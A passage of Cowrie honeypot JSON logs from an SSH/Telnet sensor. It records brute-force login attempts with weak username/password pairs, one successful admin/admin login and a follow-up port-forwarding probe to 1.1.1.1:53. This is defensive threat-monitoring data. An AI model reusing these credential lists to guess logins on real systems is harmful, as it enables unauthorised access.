a-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:20.861631Z","src_ip":"200.187.71.114","session":"e87747f42130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"444444444","message":"login attempt [ubuntu/444444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:21.356025Z","src_ip":"200.187.71.114","session":"e87747f42130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:27:22.475286Z","src_ip":"200.187.71.114","session":"e87747f42130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":33958,"dst_ip":"10.17.0.5","dst_port":22,"session":"2783697cc222","protocol":"ssh","message":"New connection: 92.205.57.72:33958 (10.17.0.5:22) [session: 2783697cc222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:07.954760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:07.959545Z","src_ip":"92.205.57.72","session":"2783697cc222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:08.051573Z","src_ip":"92.205.57.72","session":"2783697cc222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123qwe","message":"login attempt [postgres/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:08.449728Z","src_ip":"92.205.57.72","session":"2783697cc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:09.547297Z","src_ip":"92.205.57.72","session":"2783697cc222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00386190414429,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:28.416841Z","src_ip":"223.177.32.194","session":"e76797142028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.177.32.194","src_port":50048,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b2fc450c01","protocol":"telnet","message":"New connection: 223.177.32.194:50048 (159.203.135.109:23) [session: 19b2fc450c01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:28:29.383308Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":52396,"dst_ip":"10.17.0.5","dst_port":22,"session":"26308bcae220","protocol":"ssh","message":"New connection: 92.205.57.72:52396 (10.17.0.5:22) [session: 26308bcae220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:00.557323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:00.565337Z","src_ip":"92.205.57.72","session":"26308bcae220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:00.657817Z","src_ip":"92.205.57.72","session":"26308bcae220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"1234567890","message":"login attempt [appuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:01.060390Z","src_ip":"92.205.57.72","session":"26308bcae220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:02.164638Z","src_ip":"92.205.57.72","session":"26308bcae220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34426,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c12893c8993","protocol":"ssh","message":"New connection: 193.32.162.145:34426 (10.17.0.5:22) [session: 0c12893c8993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:19.215242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:19.219965Z","src_ip":"193.32.162.145","session":"0c12893c8993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:19.317041Z","src_ip":"193.32.162.145","session":"0c12893c8993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"test","message":"login attempt [solana/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:19.657241Z","src_ip":"193.32.162.145","session":"0c12893c8993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:20.761414Z","src_ip":"193.32.162.145","session":"0c12893c8993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50326,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe891d5fd9bc","protocol":"telnet","message":"New connection: 207.244.226.215:50326 (159.203.135.109:23) [session: fe891d5fd9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:21.174834Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":34154,"dst_ip":"159.203.135.109","dst_port":22,"session":"edac8e1122b2","protocol":"ssh","message":"New connection: 200.118.150.20:34154 (159.203.135.109:22) [session: edac8e1122b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:27.818200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:27.901794Z","src_ip":"200.118.150.20","session":"edac8e1122b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:27.987420Z","src_ip":"200.118.150.20","session":"edac8e1122b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3","message":"login attempt [ubuntu/1a2s3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:28.372956Z","src_ip":"200.118.150.20","session":"edac8e1122b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:29.463912Z","src_ip":"200.118.150.20","session":"edac8e1122b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":61798,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b4ad78235b","protocol":"ssh","message":"New connection: 87.251.64.176:61798 (10.17.0.5:22) [session: 97b4ad78235b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:40.471226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:40.474450Z","src_ip":"87.251.64.176","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:40.569528Z","src_ip":"87.251.64.176","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:40.856260Z","src_ip":"87.251.64.176","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:40.956265Z","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:41.057678Z","src_ip":"87.251.64.176","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:41.155381Z","src_ip":"87.251.64.176","session":"97b4ad78235b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38798,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e79923861ca","protocol":"telnet","message":"New connection: 207.244.226.215:38798 (159.203.135.109:23) [session: 7e79923861ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:48.192838Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39808,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bba6972ec25","protocol":"telnet","message":"New connection: 207.244.226.215:39808 (159.203.135.109:23) [session: 7bba6972ec25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:48.749848Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41568,"dst_ip":"159.203.135.109","dst_port":23,"session":"66da2989f496","protocol":"telnet","message":"New connection: 207.244.226.215:41568 (159.203.135.109:23) [session: 66da2989f496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:49.968854Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44310,"dst_ip":"159.203.135.109","dst_port":23,"session":"362fc5a1f49d","protocol":"telnet","message":"New connection: 207.244.226.215:44310 (159.203.135.109:23) [session: 362fc5a1f49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:51.566200Z"}
{"eventid":"cowrie.session.closed","duration":30.982802152633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:52.157502Z","src_ip":"207.244.226.215","session":"fe891d5fd9bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":50370,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6c300fc055","protocol":"telnet","message":"New connection: 207.244.226.215:50370 (159.203.135.109:23) [session: ca6c300fc055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:55.162105Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":56366,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb9851b3e1d","protocol":"ssh","message":"New connection: 92.205.57.72:56366 (10.17.0.5:22) [session: 9fb9851b3e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:55.449041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:55.457217Z","src_ip":"92.205.57.72","session":"9fb9851b3e1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:55.549201Z","src_ip":"92.205.57.72","session":"9fb9851b3e1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pa$$word","message":"login attempt [test/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:55.954887Z","src_ip":"92.205.57.72","session":"9fb9851b3e1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:57.050386Z","src_ip":"92.205.57.72","session":"9fb9851b3e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57524,"dst_ip":"159.203.135.109","dst_port":23,"session":"778954d9b6f1","protocol":"telnet","message":"New connection: 207.244.226.215:57524 (159.203.135.109:23) [session: 778954d9b6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:29:59.633310Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33964,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb05f404d19","protocol":"telnet","message":"New connection: 207.244.226.215:33964 (159.203.135.109:23) [session: 3bb05f404d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:02.621678Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51128,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd762fb28462","protocol":"telnet","message":"New connection: 207.244.226.215:51128 (159.203.135.109:23) [session: fd762fb28462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:12.695954Z"}
{"eventid":"cowrie.session.closed","duration":30.84363579750061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:19.036350Z","src_ip":"207.244.226.215","session":"7e79923861ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22052550315857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:19.970313Z","src_ip":"207.244.226.215","session":"7bba6972ec25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.139255046844482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:30:20.107993Z","src_ip":"207.244.226.215","session":"66da2989f496","protocol":"telnet"}
